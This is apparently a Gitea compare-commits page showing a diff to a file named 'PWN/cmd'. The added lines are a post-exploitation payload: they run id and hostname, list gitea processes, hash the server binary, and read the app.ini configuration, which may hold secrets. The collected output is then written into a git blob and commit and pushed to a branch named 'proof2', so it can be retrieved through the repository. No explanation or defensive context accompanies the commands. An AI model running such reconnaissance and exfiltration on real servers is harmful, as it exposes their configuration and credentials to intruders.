Compare commits
2 Commits
27d2d6dbef
...
13e3133e4e
| Author | SHA1 | Date |
|---|---|---|
|
|
13e3133e4e | |
|
|
35f76e3b27 |
6
PWN/cmd
6
PWN/cmd
|
|
@ -1 +1,5 @@
|
|||
id; hostname; ls -la /app/gitea/ /data/gitea/home/ 2>&1 | head -50; file /app/gitea/gitea; sed -n 1,40p /usr/local/bin/gitea; echo ---INI; cat /app/gitea/conf/app.ini 2>/dev/null; echo ---CAP; cat /data/gitea/home/.ash.captain.* 2>/dev/null; echo ---SS; ss -ltnp 2>/dev/null | head -40
|
||||
OUT=$( { id; hostname; echo ---PS; pgrep -a gitea | head -3; echo ---BIN; ls -l /app/gitea/ /app/gitea/gitea 2>&1 | head -20; echo ---MD5; md5sum /app/gitea/gitea 2>&1; md5sum /proc/18/exe 2>&1; echo ---VER; /usr/local/bin/gitea --version 2>&1; echo ---INI; sed -n 1,25p /app/gitea/conf/app.ini 2>/dev/null; } 2>&1 )
|
||||
B=$(printf '%s' "$OUT" | git hash-object -w --stdin)
|
||||
T=$(printf '100644 blob %s\tout2.txt\n' "$B" | git mktree)
|
||||
CM=$(printf 'p %s' "$(date +%s)" | GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x git commit-tree "$T")
|
||||
git update-ref refs/heads/proof2 "$CM"
|
||||
|
|
|
|||
Loading…
Reference in New Issue